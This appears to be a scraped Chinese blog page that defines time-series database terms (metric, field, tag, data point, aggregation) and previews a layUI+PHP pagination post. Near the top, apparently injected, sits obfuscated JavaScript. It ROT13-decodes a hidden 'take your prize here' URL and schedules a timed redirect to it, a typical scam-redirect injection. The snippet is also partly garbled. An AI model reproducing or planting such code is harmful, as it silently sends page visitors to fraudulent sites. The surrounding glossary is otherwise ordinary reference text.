时序数据库TSDB

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
名词解释

TSDB:时序数据库,用于保存时间序列(按时间顺序变化)的海量数据
度量metric:数据指标的类别,如温度、转速、模拟量
域field:在指定度量下数据的子类别,一个metric支持多个field,例如风速那么metric为wind,下面可以有两个field,direction和speed
时间戳:没什么好解释的
数值value:度量对应的数值,如果有多个field,那么那么数值就放在每个field对应的value中。
标签tag:一个标签是一个key-value对,用于提供额外的数据,如”设备号=123123″
数据点data point:“1个metric+1个field(可选)+1个timestamp+1个value + n个tag(n>=1)”唯一定义了一个数据点。当写入的metric、field、timestamp、n个tag都相同时,后写入的value会覆盖先写入的value。
时间序列:“1个metric+1个field(可选) +n个tag(n>=1)”定义了一个时间序列。

时间序列有两种:

1.单域:如,监测温度的值,把温度(temperature)作为一个度量(metric),用标签(tag)来标识每一个数据的额外信息,比如每个数据点都有3个tag,tag是一个key-value对,tag的key分别是deivceID、floor、room。

2.多域:监测风力的值,把风力(wind)作为一个度量(metric),风力(wind)分为两个域:风向(direction)和速度(speed)。这些监测数据是从不同的传感器传输到云端的,用标签(tag)来标识每一个数据的额外信息,比如每个数据点有三个tag,tag是一个key-value对;tag的key分别是sensor、city、province。

分组group:可以按标签对数据点进行分组
聚合函数aggregator:可以对一段时间的数据点做聚合,如每十分钟的和值,平均值,最大值,最小值等等
数据库:一个用户可以有多个数据库,一个数据库可以写入多个“度量”的“数据点”

 

layUI+php分页

rx online 最终效果: 分页思路: 这里实现的分页不是使用做渲染的方法,而是去请求的一个新的页面,相当于每翻一页就会到一个新的页面,这种方式适用于数据不是很多,页面没有其他组件的情况,在数据量较大…